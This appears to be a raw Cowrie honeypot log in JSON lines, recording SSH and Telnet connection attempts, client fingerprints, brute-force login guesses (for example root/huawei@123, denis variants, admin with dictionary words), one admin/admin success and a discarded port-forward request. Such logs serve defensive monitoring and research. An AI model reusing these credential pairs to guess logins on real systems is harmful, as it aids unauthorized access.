{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:47.128539Z","src_ip":"47.239.15.75","session":"2fd78f064109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":63064,"dst_ip":"159.203.135.109","dst_port":22,"session":"992c64892076","protocol":"ssh","message":"New connection: 213.209.159.56:63064 (159.203.135.109:22) [session: 992c64892076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:49.617642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:49.621946Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:49.704137Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis","message":"login attempt [denis/denis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:50.103789Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34221ace165","protocol":"telnet","message":"New connection: 45.58.127.90:49926 (10.17.0.5:23) [session: f34221ace165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:50.949609Z"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis1","message":"login attempt [denis/denis1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:51.191351Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.3","message":"Connection lost after 41.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:51.637463Z","src_ip":"47.239.15.75","session":"2fd78f064109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.18.108.78","src_port":60714,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e605b71522","protocol":"ssh","message":"New connection: 3.18.108.78:60714 (159.203.135.109:22) [session: 17e605b71522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:52.035310Z"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis123","message":"login attempt [denis/denis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:52.275644Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.18.108.78","src_port":50604,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b71c58b6389","protocol":"telnet","message":"New connection: 3.18.108.78:50604 (159.203.135.109:23) [session: 1b71c58b6389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:52.776428Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:52.927065Z","src_ip":"3.18.108.78","session":"17e605b71522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.24396038055419922,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:53.020263Z","src_ip":"3.18.108.78","session":"1b71c58b6389","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis1234","message":"login attempt [denis/denis1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:53.360296Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"denis","password":"denis12345","message":"login attempt [denis/denis12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:54.445589Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:55.530511Z","src_ip":"213.209.159.56","session":"992c64892076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.237733125686646,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:59.739890Z","src_ip":"45.58.127.90","session":"1229477788c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.50541162490845,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:15.378997Z","src_ip":"45.58.127.90","session":"60cb72be3201","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.24209809303284,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:19.639206Z","src_ip":"45.58.127.90","session":"567b60739533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.98030352592468,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:22.406937Z","src_ip":"45.58.127.90","session":"dc50e0b2e704","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42349457740784,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:29.373016Z","src_ip":"45.58.127.90","session":"f34221ace165","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57268,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b099a3eae9","protocol":"telnet","message":"New connection: 45.58.127.90:57268 (10.17.0.5:23) [session: 75b099a3eae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:41.018631Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57276,"dst_ip":"10.17.0.5","dst_port":23,"session":"da2344ef7f8d","protocol":"telnet","message":"New connection: 45.58.127.90:57276 (10.17.0.5:23) [session: da2344ef7f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:43.349599Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57282,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ecbdc4452a1","protocol":"telnet","message":"New connection: 45.58.127.90:57282 (10.17.0.5:23) [session: 3ecbdc4452a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:50:48.438500Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50508,"dst_ip":"10.17.0.5","dst_port":23,"session":"c67cef4cc00e","protocol":"telnet","message":"New connection: 45.58.127.90:50508 (10.17.0.5:23) [session: c67cef4cc00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:16.343232Z"}
{"eventid":"cowrie.session.closed","duration":34.45173263549805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:17.801229Z","src_ip":"45.58.127.90","session":"da2344ef7f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.19521141052246,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:19.213725Z","src_ip":"45.58.127.90","session":"75b099a3eae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.77602410316467,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:32.214408Z","src_ip":"45.58.127.90","session":"3ecbdc4452a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40930,"dst_ip":"10.17.0.5","dst_port":23,"session":"3031089f30cb","protocol":"telnet","message":"New connection: 45.58.127.90:40930 (10.17.0.5:23) [session: 3031089f30cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:37.493128Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43848,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64b7a837458","protocol":"telnet","message":"New connection: 45.58.127.90:43848 (10.17.0.5:23) [session: b64b7a837458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:40.241593Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"32963858f56e","protocol":"telnet","message":"New connection: 45.58.127.90:43856 (10.17.0.5:23) [session: 32963858f56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:46.620898Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43852,"dst_ip":"10.17.0.5","dst_port":23,"session":"b955102b1180","protocol":"telnet","message":"New connection: 45.58.127.90:43852 (10.17.0.5:23) [session: b955102b1180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:46.965538Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33552,"dst_ip":"159.203.135.109","dst_port":23,"session":"f257506821e8","protocol":"telnet","message":"New connection: 147.182.143.59:33552 (159.203.135.109:23) [session: f257506821e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:47.440844Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":22478,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7492bcc02f","protocol":"ssh","message":"New connection: 87.251.64.176:22478 (10.17.0.5:22) [session: ce7492bcc02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:49.963120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:49.968334Z","src_ip":"87.251.64.176","session":"ce7492bcc02f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:50.064856Z","src_ip":"87.251.64.176","session":"ce7492bcc02f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:50.355829Z","src_ip":"87.251.64.176","session":"ce7492bcc02f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:50.455166Z","session":"ce7492bcc02f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:50.553076Z","src_ip":"87.251.64.176","session":"ce7492bcc02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:50.785746Z","src_ip":"87.251.64.176","session":"ce7492bcc02f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.25011110305786,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:51:57.593209Z","src_ip":"45.58.127.90","session":"c67cef4cc00e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.045172214508057,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:02.485824Z","src_ip":"147.182.143.59","session":"f257506821e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61347,"dst_ip":"159.203.135.109","dst_port":22,"session":"24959cc995bd","protocol":"ssh","message":"New connection: 2.57.121.112:61347 (159.203.135.109:22) [session: 24959cc995bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:07.953686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:07.959023Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:08.064898Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"replica","message":"login attempt [admin/replica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:08.562577Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"replace","message":"login attempt [admin/replace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:09.672226Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"renton","message":"login attempt [admin/renton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:10.781662Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redstone","message":"login attempt [admin/redstone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:11.891717Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redroses","message":"login attempt [admin/redroses] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:13.002951Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:14.114730Z","src_ip":"2.57.121.112","session":"24959cc995bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.451796531677246,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:17.693273Z","src_ip":"45.58.127.90","session":"b64b7a837458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.064916372299194,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:19.557965Z","src_ip":"45.58.127.90","session":"3031089f30cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.1426739692688,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:24.108123Z","src_ip":"45.58.127.90","session":"b955102b1180","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.23306179046631,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:30.853829Z","src_ip":"45.58.127.90","session":"32963858f56e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bba01dccb10","protocol":"telnet","message":"New connection: 45.58.127.90:36668 (10.17.0.5:23) [session: 2bba01dccb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:52:52.261754Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8c7ed68957","protocol":"telnet","message":"New connection: 45.58.127.90:33674 (10.17.0.5:23) [session: ca8c7ed68957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:11.123791Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33700,"dst_ip":"10.17.0.5","dst_port":23,"session":"83694e0dc9bf","protocol":"telnet","message":"New connection: 45.58.127.90:33700 (10.17.0.5:23) [session: 83694e0dc9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:17.665860Z"}
{"eventid":"cowrie.session.closed","duration":41.6153302192688,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:33.876930Z","src_ip":"45.58.127.90","session":"2bba01dccb10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49502,"dst_ip":"10.17.0.5","dst_port":23,"session":"2115debfd99f","protocol":"telnet","message":"New connection: 45.58.127.90:49502 (10.17.0.5:23) [session: 2115debfd99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:44.918263Z"}
{"eventid":"cowrie.session.closed","duration":40.69542479515076,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:51.819124Z","src_ip":"45.58.127.90","session":"ca8c7ed68957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.98303151130676,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:57.648968Z","src_ip":"45.58.127.90","session":"83694e0dc9bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58362,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe8272adc635","protocol":"telnet","message":"New connection: 45.58.127.90:58362 (10.17.0.5:23) [session: fe8272adc635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:53:58.598876Z"}
{"eventid":"cowrie.session.closed","duration":4.05656623840332,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:54:02.655341Z","src_ip":"45.58.127.90","session":"fe8272adc635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.167120695114136,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:54:27.085236Z","src_ip":"45.58.127.90","session":"2115debfd99f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39058,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc977cf5395d","protocol":"telnet","message":"New connection: 45.58.127.90:39058 (10.17.0.5:23) [session: fc977cf5395d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:54:37.974635Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43966,"dst_ip":"10.17.0.5","dst_port":23,"session":"b69baa902ab7","protocol":"telnet","message":"New connection: 45.58.127.90:43966 (10.17.0.5:23) [session: b69baa902ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:54:48.725880Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.3.156","src_port":49914,"dst_ip":"159.203.135.109","dst_port":22,"session":"077cc2e6b7bc","protocol":"ssh","message":"New connection: 147.135.3.156:49914 (159.203.135.109:22) [session: 077cc2e6b7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:00.458183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:55:00.552772Z","src_ip":"147.135.3.156","session":"077cc2e6b7bc","protocol":"ssh"}
